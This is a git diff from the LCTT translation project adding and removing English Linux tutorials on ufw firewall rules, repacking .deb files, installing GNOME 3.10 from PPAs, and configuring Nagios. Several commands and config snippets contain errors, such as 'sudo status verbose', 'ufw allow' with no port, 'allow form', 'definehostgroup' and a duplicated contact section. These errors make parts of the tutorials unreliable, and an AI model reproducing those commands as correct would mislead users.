> In computing, a firewall is a software or hardware-based network security system that controls the incoming and outgoing network traffic by analysing the data packets and determining whether they should be allowed through or not, based on applied rule set.
|
||||
|
||||
**Iptables** is one of the firewall that widely used by servers. It is a program used to manage incoming and outgoing traffic in the server based on a set of rules. Generally, only trusted connection is allowed to enter the server. But **IPTables** is running at console mode and it’s complicated. Those who’re familiar with iptables rules and commands, they can read the following article that describes how to use iptables firewall.
|
||||
|
||||
- [Basic IPTables (Linux Firewall) Guide][1]
|
||||
|
||||
### Installation of UFW Firewall in Debian/Ubuntu ###
|
||||
|
||||
To reduce the complexity of how-to setting **IPTables**, there is a lot of fronted. If you’re running **Ubuntu** Linux, you will find **ufw** as a default firewall tool. Lets start to explore about **ufw** firewall.
|
||||
|
||||
### What is ufw ###
|
||||
|
||||
The **ufw (Uncomplicated Firewall)** is an frontend for most widely used **iptables firewall** and it is well comfortable for host-based firewalls. ufw gives a framework for managing **netfilter**, as well as provides a command-line interface for controlling the firewall. It provides user friendly and easy to use interface for Linux newbies who are not much familiar with firewall concepts.
|
||||
|
||||
While, on the other side same complicated commands helps administrators it set complicated rules using command line interface. The **ufw** is an upstream for other distributions such as **Debian, Ubuntu** and **Linux Mint**.
|
||||
|
||||
#### Basic Usage ufw ####
|
||||
|
||||
First, check if **ufw** is installed using following command.
|
||||
|
||||
$ sudo dpkg --get-selection | grep ufw
|
||||
|
||||
ufw install
|
||||
|
||||
If it’s not installed, you can install it using **apt** command as shown below.
|
||||
|
||||
$ sudo apt-get install ufw
|
||||
|
||||
Before you use, you should check whether **ufw** is running or not. Use the following command to check it.
|
||||
|
||||
$ sudo ufw status
|
||||
|
||||
If you found Status: **inactive**, it mean it’s not active or disable.
|
||||
|
||||
#### Enabling / Disabling ufw ####
|
||||
|
||||
To enable it, you just need to type the following command at the terminal.
|
||||
|
||||
$ sudo ufw enable
|
||||
|
||||
Firewall is active and enabled on system startup
|
||||
|
||||
To disable it, just type.
|
||||
|
||||
$ sudo ufw disable
|
||||
|
||||
#### List the current ufw rules ####
|
||||
|
||||
After the firewall is activated you can add your rules into it. If you want to see what are the default rules, you can type.
|
||||
|
||||
$ sudo status verbose
|
||||
|
||||
##### Sample Output #####
|
||||
|
||||
Status: active
|
||||
Logging: on (low)
|
||||
Default: deny (incoming), allow (outgoing)
|
||||
New profiles: skip
|
||||
$
|
||||
|
||||
#### How to Add ufw rules ####
|
||||
|
||||
As you see, by default every incoming connection is denied. If you want to remote your machine then you have to allow proper port. For example you want to allow ssh connection. Here’s the command to allow it.
|
||||
|
||||
#### Allow Access ####
|
||||
|
||||
$ sudo ufw allow ssh
|
||||
|
||||
[sudo] password for pungki :
|
||||
Rule added
|
||||
Rule added (v6)
|
||||
$
|
||||
|
||||
If you check the status again, you will see an output like this.
|
||||
|
||||
$ sudo ufw status
|
||||
|
||||
To Action From
|
||||
-- ----------- ------
|
||||
22 ALLOW Anywhere
|
||||
22 ALLOW Anywhere (v6)
|
||||
|
||||
If you have a lot of rules, and want to put numbers on every rules on the fly, use parameter numbered.
|
||||
|
||||
$ sudo ufw status numbered
|
||||
|
||||
To Action From
|
||||
------ ----------- ------
|
||||
[1] 22 ALLOW Anywhere
|
||||
[2] 22 ALLOW Anywhere (v6)
|
||||
|
||||
The first rule says that incoming connection to **port 22** from **Anywhere**, both **tcp** or **udp** packets is allowed. What if you want to allow **tcp** packet only? Then you can add the parameter **tcp** after the **port** number. Here’s an example with sample output.
|
||||
|
||||
$ sudo ufw allow ssh/tcp
|
||||
|
||||
To Action From
|
||||
------ ----------- ------
|
||||
22/tcp ALLOW Anywhere
|
||||
22/tcp ALLOW Anywhere (v6)
|
||||
|
||||
#### Deny Access ####
|
||||
|
||||
The same tricks is applied to Deny rule. Let say you want to deny ftp rule. So you only have to type.
|
||||
|
||||
$ sudo ufw deny ftp
|
||||
|
||||
To Action From
|
||||
------ ----------- ------
|
||||
21/tcp DENY Anywhere
|
||||
21/tcp DENY Anywhere (v6)
|
||||
|
||||
### Adding Specific Port ###
|
||||
|
||||
Sometimes we have a custom port which is not follow any standards. Let’s say we change the **ssh** port on our machine from **22**, into **2290**. Then to allow port **2290**, we can add it like this.
|
||||
|
||||
$ sudo ufw allow
|
||||
|
||||
To Action From
|
||||
-- ----------- ------
|
||||
2290 ALLOW Anywhere
|
||||
2290 ALLOW Anywhere (v6)
|
||||
|
||||
It also possible for you to add **port-range** into the rule. If we want to open port from **2290 – 2300** with **tcp** protocol, then the command will be like this.
|
||||
|
||||
$ sudo ufw allow 2290:2300/tcp
|
||||
|
||||
To Action From
|
||||
------ ----------- ------
|
||||
2290:2300/tcp ALLOW Anywhere
|
||||
2290:2300/tcp ALLOW Anywhere (v6)
|
||||
|
||||
while if you want to use **udp**, just use the following command.
|
||||
|
||||
$ sudo ufw allow 2290:2300/udp
|
||||
|
||||
To Action From
|
||||
------ ----------- ------
|
||||
2290:2300/udp ALLOW Anywhere
|
||||
2290:2300/udp ALLOW Anywhere (v6)
|
||||
|
||||
Please remember that you have to put ‘**tcp**’ or ‘**udp**’ explicitly otherwise you will get an error message similar to below.
|
||||
|
||||
ERROR: Must specify ‘tcp’ or ‘udp’ with multiple ports
|
||||
|
||||
### Adding Specific IP ###
|
||||
|
||||
Previously we have added rules based on **service** or **port**. Ufw also allow you to add rules based on **IP Address**. Here’s the sample command.
|
||||
|
||||
$ sudo ufw allow from 192.168.0.104
|
||||
|
||||
You can also use a subnet mask to wider the range.
|
||||
|
||||
$ sudo ufw allow form 192.168.0.0/24
|
||||
|
||||
To Action From
|
||||
-- ----------- ------
|
||||
Anywhere ALLOW 192.168.0.104
|
||||
Anywhere ALLOW 192.168.0.0/24
|
||||
|
||||
As you can see, from parameter will only limit the source of connection. While the destination – which is represented by **To** column – is **Anywhere**. You can also manage the destination using ‘**To**‘ parameter. Let’s see the sample to allow access to **port 22 (ssh)**.
|
||||
|
||||
$ sudo ufw allow to any port 22
|
||||
|
||||
The above command will allow access from anywhere and from any protocol to **port 22**.
|
||||
|
||||
### Combining Parameters ###
|
||||
|
||||
For more specific rules, you can also combining IP Address, **protocol** and **port**. Let’s say we want to create rule that limit the connection only from IP 192.168.0.104, only protocol **tcp** and to port **22**. Then the command will be like below.
|
||||
|
||||
$ sudo ufw allow from 192.168.0.104 proto tcp to any port 22
|
||||
|
||||
Syntax to create deny rule is similar with allow rule. You only need to change parameter from **allow** to **deny**.
|
||||
|
||||
### Deleting Rules ###
|
||||
|
||||
Sometime you may need to delete your existing rule. Once again with **ufw** it is easy to delete rules. From above sample, you have a rule below and you want to delete it.
|
||||
|
||||
To Action From
|
||||
-- ----------- ------
|
||||
22/tcp ALLOW 192.168.0.104
|
||||
21/tcp ALLOW Anywhere
|
||||
21/tcp ALLOW Anywhere (v6)
|
||||
|
||||
There are two methods of deleting rules.
|
||||
|
||||
**Method 1**
|
||||
|
||||
The below command will **delete** rules that match service **ftp**. So the **21/tcp** which mean **ftp** port will be deleted.
|
||||
|
||||
$ sudo ufw delete allow ftp
|
||||
|
||||
**Method 2**
|
||||
|
||||
But when you tried to delete the first rule at the above example using below command.
|
||||
|
||||
$ sudo ufw delete allow ssh
|
||||
|
||||
Or
|
||||
|
||||
$ sudo ufw delete allow 22/tcp
|
||||
|
||||
You may find an error message such as.
|
||||
|
||||
Could not delete non-existent rule
|
||||
Could not delete non-existent rule (v6)
|
||||
|
||||
Then you can do this trick. As we mentioned above, you can show the number of rule to indicate which rule that we want to delete. Let we show it to you.
|
||||
|
||||
$ sudo ufw status numbered
|
||||
|
||||
To Action From
|
||||
-- ----------- ------
|
||||
[1] 22/tcp ALLOW 192.168.0.104
|
||||
[2] 21/tcp ALLOW Anywhere
|
||||
[3] 21/tcp ALLOW Anywhere (v6)
|
||||
|
||||
Then you can delete the first rule using. Press “**y**” will permanently delete the rule.
|
||||
|
||||
$ sudo ufw delete 1
|
||||
|
||||
Deleting :
|
||||
Allow from 192.168.0.104 to any port 22 proto tcp
|
||||
Proceed with operation (y|n)? y
|
||||
|
||||
From those methods you will see the difference. **Method 2** will ask **user confirmation** before deleting the rule while **method 1** is not.
|
||||
|
||||
### How to Reset Rules ###
|
||||
|
||||
In some situation, you may want to **delete / reset** all rules. You can do it by typing.
|
||||
|
||||
$ sudo ufw reset
|
||||
|
||||
Resetting all rules to installed defaults. Proceed with operation (y|n)? y
|
||||
|
||||
If you press “**y**”, then **ufw** will backup all existing rules before doing the reset your ufw. Resetting the rules will also disable your firewall. You need to enabled it again if you want to use it.
|
||||
|
||||
### Advanced Functionality ###
|
||||
|
||||
As I stated above, the ufw firewall can able to do whatever that iptables can do. This is accomplished by using various sets of rules files, which are nothing more than **iptables-restore** appropriate text files. Fine tuning ufw and/or placing additional iptables commands not allowed via the ufw command is a matter of editing several text files.
|
||||
|
||||
- /etc/default/ufw: The main configuration for default policies, IPv6 support and kernel modules.
|
||||
- /etc/ufw/before[6].rules: rules in these files are calculate before any rules added via the ufw command.
|
||||
- /etc/ufw/after[6].rules: rules in these files are calculate after any rules added via the ufw command.
|
||||
- /etc/ufw/sysctl.conf: kernel network tunables.
|
||||
- /etc/ufw/ufw.conf: sets whether or not ufw is enabled on boot and sets the LOGLEVEL.
|
||||
|
||||
### Conclusion ###
|
||||
|
||||
**UFW** as a front-end to iptables surely make an easy interface to user. User don’t need to remember complicated iptables syntax. **UFW** also use ‘**plain english**‘ as its parameter.
|
||||
|
||||
**Allow, deny, reset** are one of them. I believe that there are many more iptables front-end out there. But definitely ufw is one of the best alternative for users who want to setup their firewall fast, easy and of course secure. Please visit **ufw manual page** by typing **man ufw** for more detail.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/how-to-install-and-configure-ufw-firewall/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/
|
||||
@ -1,46 +0,0 @@
|
||||
How to Repack Deb Files on Debian and Ubuntu
|
||||
================================================================================
|
||||
**The following tutorial will teach Ubuntu, Linux Mint and Debian GNU/Linux users how to easily unpack and repack a .deb file on their Debian-based Linux operating system.**
|
||||
|
||||
|
||||
|
||||
Once in a while you reach a moment in life when, among other things, you want to modify a .deb file, to change something in it and repackage it back. But, only if you are truly into computing and hacking.
|
||||
|
||||
The following example is a true story, as it happen to me a while ago. A Linux developer created a Debian package (.deb) for a software, which I’ve install on my Ubuntu powered computer with success.
|
||||
|
||||
Apparently, the software did not worked correctly, as it was always stuck when it tried to retrieve some files from a Git repository. So, I knew where the files where installed (in the /opt directory), I’ve searched the code, found the issue and repair it in place. After that, the program was no longer stuck when it tried to retrieve the packages it needed.
|
||||
|
||||
So, long story short, I wanted to unpack the .deb file, replace the file I’ve patched in it, and repackage it back so I can install it on other computers or give it to my friends. How do I do that?
|
||||
|
||||
After searching the Internet for an answer to my problem, I’ve found a small blog called [ailoo.net][1] where it was explained like this:
|
||||
|
||||
mkdir -p extract/DEBIAN
|
||||
dpkg-deb -x package.deb extract/
|
||||
dpkg-deb -e package.deb extract/DEBIAN [...do something, e.g. edit the control file...]
|
||||
mkdir build
|
||||
dpkg-deb -b extract/ build/
|
||||
|
||||
These five commands will do the job like a charm. Let me explain them to you: the first one creates a folder called “extract” and a subfolder called “DEBIAN”; the second command will extract some files from your .deb package in the “extract” folder; the third command will extract the content of the .deb package in the “DEBIAN” subfolder, where you can modify/patch the files you want; the fourth command will create a folder called “build”; and the fifth command will repack the modified files into a new .deb package, which will be generated in the “build” folder.
|
||||
|
||||
That’s it! Just remember to stick with the commands above, and modify the files visually with a graphical text editor via your default file manager, after you’ve executed the third command. Do not hesitate to comment below if you run into problems during this tutorial.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://ailoo.net/2009/06/repack-a-deb-archive-with-dpkg-deb/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
100
sources/How to Upgrade to GNOME 3.10 in Ubuntu 13.10.md
Normal file
100
sources/How to Upgrade to GNOME 3.10 in Ubuntu 13.10.md
Normal file
@ -0,0 +1,100 @@
|
||||
[翻译中] by KayGuowhu
|
||||
How to Upgrade to GNOME 3.10 in Ubuntu 13.10
|
||||
================================================================================
|
||||
|
||||
|
||||
**Ubuntu 13.10 ships with the GNOME 3.8 desktop available in its archives. While a dependable, stable and featured alternative to Unity, it’s also outdated.**
|
||||
|
||||
The newer version of the GNOME desktop was released back in September 2013 and comes with a raft of improved features, apps and usability tweaks. From hi-res screen support to new client-side decoration of app windows, GNOME 3.10 is a compelling upgrade.
|
||||
|
||||
The good news is that – providing you’re running Ubuntu 13.10, have a decent internet connection, and some command line aptitude (pun fully intended) – you don’t have to stick with a stale version of GNOME.
|
||||
|
||||
### How To Upgrade to GNOME 3.10 in Ubuntu 13.10 ###
|
||||
|
||||
For the benefit of the skim readers whose eyes dropped straight to the point I’ll reiterate: you **need to be running Ubuntu 13.10 to install GNOME 3.10**.
|
||||
|
||||
First, let’s add the GNOME 3 PPA to Ubuntu’s Software Sources. This can be done using a GUI but it is far easier to achieve using the command line.
|
||||
|
||||
Open a new *Terminal* window and enter the following command, entering your user password when asked:
|
||||
|
||||
sudo add-apt-repository ppa:gnome3-team/gnome3-next && sudo apt-get update
|
||||
|
||||
With the PPA added and our package list updated we can move on to installing GNOME 3.10 itself. To do this run the following command, again entering your user password when prompted:
|
||||
|
||||
sudo apt-get update && sudo apt-get install gnome-shell ubuntu-gnome-desktop
|
||||
|
||||
It can take a while for all the necessary packages and components to be fetched and installed, so try to be patient.
|
||||
|
||||
Midway through the installation a prompt will appear in the Terminal asking you to choose what display manager – aka “login screen” – should be used by default.
|
||||
|
||||
This decision is entirely up to you; both Ubuntu’s Unity Greeter and the **GNOME Display Manager** let you easily switch between desktop sessions (handy if you want to keep Unity or another desktop around) but only GDM offers GNOME-specific features such as lock-screen notifications.
|
||||
|
||||
When you’re ready to decide make your selection using the up/down arrow keys and hit ‘Enter/Return’ to confirm. The installation will then proceed.
|
||||
|
||||
### Adding The Extra Stuff ###
|
||||
|
||||
|
||||
|
||||
GNOME 3.10 comes with some great new features, applications – [including GNOME Weather, Music and Maps][1] – and other miscellaneous changes. Because not all of these are considered ‘stable’ enough to be included in the main GNOME 3 PPA we added earlier, you’ll need to make use of an additional pair of GNOME PPAs if you want to use them.
|
||||
|
||||
Now – and it’s important you’re aware of this – some of the packages in these repositories are reported to have stability issues. Most of these will be minor – i.e., the odd app crash or broken feature – but the potential for more major issues, like making GNOME crash entirely, is possible.
|
||||
|
||||
Warning out of the way, open up a new tab in a Terminal and punch in the following:
|
||||
|
||||
sudo add-apt-repository ppa:gnome3-team/gnome3-staging
|
||||
sudo add-apt-repository ppa:gnome3-team/gnome3
|
||||
sudo apt-get update && sudo apt-get dist-upgrade
|
||||
|
||||
To add some of the cool apps we mentioned earlier run:
|
||||
|
||||
sudo apt-get install gnome-weather gnome-music gnome-maps cheese gnome-documents
|
||||
|
||||
With that we’re done!
|
||||
|
||||
You may wish to log out and back in (remembering to select the ‘GNOME’ session) to ensure that everything takes effect correctly.
|
||||
|
||||
### Minor Differences ###
|
||||
|
||||
If you’ve kept Unity installed alongside GNOME 3.10 then there are a few things you’ll need to note down.
|
||||
|
||||
First off, you’ll find **two entries for ‘Online Accounts’ in System Settings**. The one with the key-themed icon is the Unity version, and the one with the plug emblem is GNOME’s.
|
||||
|
||||
Some apps will require you to add accounts to the Unity version (Shotwell, Gwibber, Empathy) and some to the GNOME one (Evolution, Documents, Contacts).
|
||||
|
||||
|
||||
|
||||
The ‘Notifications’ and ‘Search’ entries are GNOME-specific, both letting you pick and choose which applications and sources are able to show notifications or appear in the Activities Overlay.
|
||||
|
||||
### Uninstalling GNOME 3.10 ###
|
||||
|
||||
So you’ve tried it and didn’t like it. Now what?
|
||||
|
||||
Removing GNOME 3.10 is a fairly straightforward processing providing we use a command-line tool called ‘PPA Purge’. It can be found in the Ubuntu Software Center and is by far the easiest way to automatically remove and/or downgrade packages installed from PPAs.
|
||||
|
||||
- [Install PPA Purge from Ubuntu Software Center][2]
|
||||
|
||||
To use the tool we’ll need to go back to the terminal and enter the following, taking care to look out for any prompts that may appear during the downgrade process.
|
||||
|
||||
sudo ppa-purge ppa:gnome3-team/gnome3-next
|
||||
|
||||
If you also added the optional extra PPAs you will also need to purge those as well:
|
||||
|
||||
sudo ppa-purge ppa:gnome3-team/gnome3-staging
|
||||
sudo ppa-purge ppa:gnome3-team/gnome3
|
||||
|
||||
Once completed you should be left with the stock GNOME 3.8 desktop. If you don’t want to keep GNOME Shell around at all you can proceed to remove it:
|
||||
|
||||
sudo apt-get remove gnome-shell ubuntu-gnome-desktop
|
||||
|
||||
Finally, manually remove any remaining applications that persist after downgrade (e.g., Epiphany and GNOME Documents), then reboot.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/12/upgrade-gnome-3-10-ubuntu-13-10
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.omgubuntu.co.uk/2013/09/gnome-3-10-released-with-new-apps-experimental-wayland-support
|
||||
[2]:apt:ppa-purge
|
||||
370
sources/How to install and configure Nagios on Linux.md
Normal file
370
sources/How to install and configure Nagios on Linux.md
Normal file
@ -0,0 +1,370 @@
|
||||
Translating by icybreaker
|
||||
How to install and configure Nagios on Linux
|
||||
================================================================================
|
||||
[Nagios][1] is one of the most powerful network monitoring systems, which is widely used in the industry. It can actively monitor any network, and generate audio/email warnings and alerts when any problem is detected. The check types and alert timers are fully customizable.
|
||||
|
||||
Another incredible capability of Nagios is that it can monitor both hosts and services e.g., it can monitor IP addresses and TCP/UDP port numbers. To explain a little, let us assume that there is a web server that we want to monitor. Nagios can check whether the server is online by running ping on the IP/name of the server as well as it can be set up to provide warnings in case the round trip time (RTT) to the server increases. Further, Nagios can also check whether TCP port 80 (web server) is reachable e.g., the server is online but Apache/IIS is not responding.
|
||||
|
||||
There are also 3rd party monitoring tools that are based on Nagios, such as [Centreon][2], [FAN][3] , [op5 Monitor][4], which supplement standalone Nagios engine in terms of interface, automation, and technical support.
|
||||
|
||||
This tutorial explains **how to install and configure Nagios on Linux**.
|
||||
|
||||
### Install Nagios on Debian or Ubuntu ###
|
||||
|
||||
On a Debian-based system, the installation in itself is a very simple process thanks to apt-get.
|
||||
|
||||
root@mrtg:~# apt-get install nagios3
|
||||
|
||||
The mail server setting can be done during Nagios installation. It can also be configured later when needed.
|
||||
|
||||
Note: A valid SMTP configuration is needed for Nagios to be able send email notifications.
|
||||
|
||||
[][5]
|
||||
|
||||
As it can be seen, Nagios supports multiple options for email delivery. The most common options would be Internet Site where the server sends email directly to the recipient. Another widely used option is using smarthost or relay server, in which the server sends the email to an intermediary mail server which in turn is responsible for delivering the mail to the recipient.
|
||||
|
||||
Next, the domain name of the server has to be included in the next step.
|
||||
|
||||
[][6]
|
||||
|
||||
Finally, the password for the Nagios admin user ‘nagiosadmin’ is set. This value can also be changed later.
|
||||
|
||||
[][7]
|
||||
|
||||
### Install Nagios on CentOS or RHEL ###
|
||||
|
||||
yum is used for installation. After [setting up the repoforge repository][8], run yum as follows.
|
||||
|
||||
[root@mrtg ~]# yum install nagios nagios-plugins
|
||||
|
||||
### Requirements for Monitoring ###
|
||||
|
||||
In this tutorial, we want to monitor the following.
|
||||
|
||||
1. All Linux server will be checked every 3 minutes.
|
||||
1. All Cisco Routers will be checked every 3 minutes.
|
||||
1. All email alerts should go to the address sentinel@example.tst.
|
||||
1. Nagios will verify 3 times before sending out any alerts just to be sure that the problem is real.
|
||||
1. If the RTT to any device exceeds 100 ms and/or packet loss exceeds 20%, email alert will be generated.
|
||||
|
||||
The rest of the tutorial will guide you to configure Nagios on Linux.
|
||||
|
||||
### Nagios Configuration on Ubuntu ###
|
||||
|
||||
It is important to know where Nagios configuration files are located. The following table shows the location of Nagios configuration files on Debian-based systems.
|
||||
|
||||
/etc/nagios-plugins Customizable scripts used for monitoring
|
||||
/etc/nagios3 Configuration files to add hosts, services, define checks and timers
|
||||
/usr/lib/nagios/plugins Executable files used for monitoring
|
||||
|
||||
The following steps are inter-related. Hosts, groups for hosts and adding services to host groups are defined.
|
||||
|
||||
### Adding Host Template ###
|
||||
|
||||
The templates defining what to do with a type host is defined. We use the files provided with the installation as sample.
|
||||
|
||||
First, define a host template for Linux devices
|
||||
|
||||
root@mrtg:~# cd /etc/nagios3/conf.d
|
||||
root@mrtg:/etc/nagios3/conf.d/# cp generic-host_nagios2.cfg linux-server.cfg
|
||||
|
||||
Edit linux-server.cfg as follows. The parts with bold font are modified.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# vim linux-server.cfg
|
||||
|
||||
> define host{
|
||||
> name linux-server
|
||||
> notifications_enabled 1
|
||||
> event_handler_enabled 1
|
||||
> flap_detection_enabled 1
|
||||
> failure_prediction_enabled 1
|
||||
> process_perf_data 1
|
||||
> retain_status_information 1
|
||||
> retain_nonstatus_information 1
|
||||
> check_command example-host-check ; the script to be used while checking
|
||||
> check_interval 3 ; the interval between consecutive checks
|
||||
> max_check_attempts 3 ; number of rechecking before generating email alerts
|
||||
> notification_interval 0
|
||||
> notification_period 24x7
|
||||
> notification_options d,u,r
|
||||
> contact_groups admins ; the group where emails will be sent
|
||||
> register0
|
||||
> }
|
||||
|
||||
Next, define a host template for Cisco devices.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# cp linux-server.cfg cisco-device.cfg
|
||||
|
||||
Modify cisco-device.cfg as follows. The bold-font parts are modified.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# vim cisco-device.cfg
|
||||
|
||||
> # The highlighted parts are modified
|
||||
> define host{
|
||||
> name cisco-device
|
||||
> notifications_enabled 1
|
||||
> event_handler_enabled 1
|
||||
> flap_detection_enabled 1
|
||||
> failure_prediction_enabled 1
|
||||
> process_perf_data 1
|
||||
> retain_status_information 1
|
||||
> retain_nonstatus_information 1
|
||||
> check_command example-host-check ; the script to be used while checking
|
||||
> check_interval 3 ; the interval between consecutive checks
|
||||
> max_check_attempts 3 ; number of rechecking before generating email alerts
|
||||
> notification_interval 0
|
||||
> notification_period 24x7
|
||||
> notification_options d,u,r
|
||||
> contact_groups admins ; the group where emails will be sent
|
||||
> register 0
|
||||
> }
|
||||
|
||||
### Adding Host ###
|
||||
|
||||
Now that the host template is defined, the actual host to be monitored is added. Again, the files provided by default are used as sample.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# cp localhost_nagios2.cfg example.cfg
|
||||
root@mrtg:/etc/nagios3/conf.d/# vim example.cfg
|
||||
|
||||
> # Host 1
|
||||
> define host{
|
||||
> use linux-server ; Name of host template to use
|
||||
> host_name our-server ; The hostname to be used by nagios
|
||||
> alias our-server
|
||||
> address 172.17.1.23 ; The IP address of the host
|
||||
> }
|
||||
>
|
||||
> # Host 2
|
||||
> define host{
|
||||
> use cisco-device ; Name of host template to use
|
||||
> host_name our-router ; The hostname to be used by nagios
|
||||
> alias our-router
|
||||
> address 172.17.1.1 ; The IP address of the host
|
||||
> }
|
||||
|
||||
### Host Group Definition ###
|
||||
|
||||
For ease of management when there are multiple hosts, it is advisable that hosts of similar types are grouped together.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# vim hostgroups_nagios2.cfg
|
||||
|
||||
> definehostgroup {
|
||||
> hostgroup_name linux-server ; the name of the host group
|
||||
> alias Linux Servers
|
||||
> members our-server ; comma separated list of members
|
||||
> }
|
||||
>
|
||||
> definehostgroup {
|
||||
> hostgroup_name cisco-device ; the name of the host group
|
||||
> alias Cisco Devices
|
||||
> members our-server ; comma separated list of members
|
||||
> }
|
||||
|
||||
### Service Definition ###
|
||||
|
||||
First, the command example-host-check is defined with warning value of 100 ms for latency and 20% for packet loss. Critical values are 5000 ms for latency and 100% packet loss. One IPv4 ping request is transmitted.
|
||||
|
||||
root@mrtg:~# vim /etc/nagios-plugins/config/ping.cfg
|
||||
|
||||
> define command{
|
||||
> command_name example-host-check
|
||||
> command_line /usr/lib/nagios/plugins/check_ping -H '$HOSTADDRESS$' -w 100,20% -c 5000,100% -p 1 -4
|
||||
> }
|
||||
|
||||
Then, the command is associated with host groups.
|
||||
|
||||
root@mrtg:/etc/nagios3/conf.d/# vim services_nagios2.cfg
|
||||
|
||||
> define service {
|
||||
> hostgroup_name linux-server
|
||||
> service_description Linux Servers
|
||||
> check_command example-host-check
|
||||
> use generic-service
|
||||
> notification_interval 0 ; set 0 if you want to be renotified
|
||||
> }
|
||||
>
|
||||
> define service {
|
||||
> hostgroup_name cisco-device
|
||||
> service_description Cisco Devices
|
||||
> check_command example-host-check
|
||||
> use generic-service
|
||||
> notification_interval 0 ; set 0 if you want to be renotified
|
||||
> }
|
||||
|
||||
### Contact Definition ###
|
||||
|
||||
The required address for sending email added to Nagios.
|
||||
|
||||
> define contact{
|
||||
> contact_name root
|
||||
> alias Root
|
||||
> service_notification_period 24x7
|
||||
> host_notification_period 24x7
|
||||
> service_notification_options w,u,c,r
|
||||
> host_notification_options d,r
|
||||
> service_notification_commands notify-service-by-email
|
||||
> host_notification_commands notify-host-by-email
|
||||
> email root@localhost, sentinel@example.tst
|
||||
> }
|
||||
|
||||
Finally, a dry run is initiated to check whether there are any configuration errors. If there are no errors, Nagios can be (re)started safely.
|
||||
|
||||
root@mrtg:~#nagios –v /etc/nagios3/nagios.cfg
|
||||
root@mrtg:~# service nagios3 restart
|
||||
|
||||
### Nagios Configuration on CentOS/RHEL ###
|
||||
|
||||
The following shows the locations of Nagios configuration files on Redhat-based systems.
|
||||
|
||||
> /etc/nagios/objects Configuration files to add hosts, services, define checks and timers
|
||||
> /usr/lib/nagios/plugins Executable files used for monitoring
|
||||
|
||||
### Adding Host Template ###
|
||||
|
||||
A template is created to define what needs to be done for a specific type of host. The files provided with the installation is modified.
|
||||
|
||||
[root@mrtg objects]# cd /etc/nagios/objects/
|
||||
[root@mrtg objects]# vim templates.cfg
|
||||
|
||||
> define host{
|
||||
> name linux-server
|
||||
> use generic-host
|
||||
> check_period 24x7
|
||||
> check_interval 3
|
||||
> retry_interval 1
|
||||
> max_check_attempts 3
|
||||
> check_command example-host-check
|
||||
> notification_period 24x7
|
||||
> notification_interval 0
|
||||
> notification_options d,u,r
|
||||
> contact_groups admins
|
||||
> register 0
|
||||
> }
|
||||
>
|
||||
> define host{
|
||||
> name cisco-router
|
||||
> use generic-host
|
||||
> check_period 24x7
|
||||
> check_interval 3
|
||||
> retry_interval 1
|
||||
> max_check_attempts 3
|
||||
> check_command example-host-check
|
||||
> notification_period 24x7
|
||||
> notification_interval 0
|
||||
> notification_options d,u,r
|
||||
> contact_groups admins
|
||||
> register 0
|
||||
> }
|
||||
|
||||
### Adding Hosts and Host Groups ###
|
||||
|
||||
The configuration file provided with by default is used as a sample. The hosts and host groups are added in the same file.
|
||||
|
||||
[root@mrtg objects]# cp localhost.cfg example.cfg
|
||||
[root@mrtg objects]# vim example.cfg
|
||||
|
||||
> #Adding Linux server
|
||||
> define host{
|
||||
> use linux-server
|
||||
> host_name our-server
|
||||
> alias our-server
|
||||
> address 172.17.1.23
|
||||
> }
|
||||
>
|
||||
> #Adding Cisco Router
|
||||
> define host{
|
||||
> use cisco-router
|
||||
> host_name our-router
|
||||
> alias our-router
|
||||
> address 172.17.1.1
|
||||
> }
|
||||
>
|
||||
> # HOST GROUP DEFINITION
|
||||
> define hostgroup{
|
||||
> hostgroup_name linux-servers
|
||||
> alias Linux Servers
|
||||
> members our-server
|
||||
> }
|
||||
>
|
||||
> define hostgroup{
|
||||
> hostgroup_name cisco-router
|
||||
> alias cisco-router
|
||||
> members our-router
|
||||
> }
|
||||
|
||||
### Service Definition ###
|
||||
|
||||
A service called example-host-check is defined with warning values of 100 ms for latency and 20% for packet loss. The critical values are 5000 ms for latency and 100% for packet loss. Only one IPv4 ping request will be transmitted.
|
||||
|
||||
[root@mrtg objects]# vim commands.cfg
|
||||
|
||||
> define command{
|
||||
> command_name example-host-check
|
||||
> command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 100.0,20% -c 5000.0,100% -p 1 -4
|
||||
> }
|
||||
|
||||
### Contact Definition ###
|
||||
|
||||
The email address where alerts will be sent is added into Nagios.
|
||||
|
||||
> define command{
|
||||
> command_name example-host-check
|
||||
> command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 100.0,20% -c 5000.0,100% -p 1 -4
|
||||
> }
|
||||
|
||||
### Contact Definition ###
|
||||
|
||||
The email address where alerts will be sent is added into Nagios.
|
||||
|
||||
[root@objects objects]# vim contacts.cfg
|
||||
|
||||
> define contact{
|
||||
> contact_name nagiosadmin
|
||||
> use generic-contact
|
||||
> alias Nagios Admin
|
||||
> email nagios@localhost, sentinel@example.tst
|
||||
> }
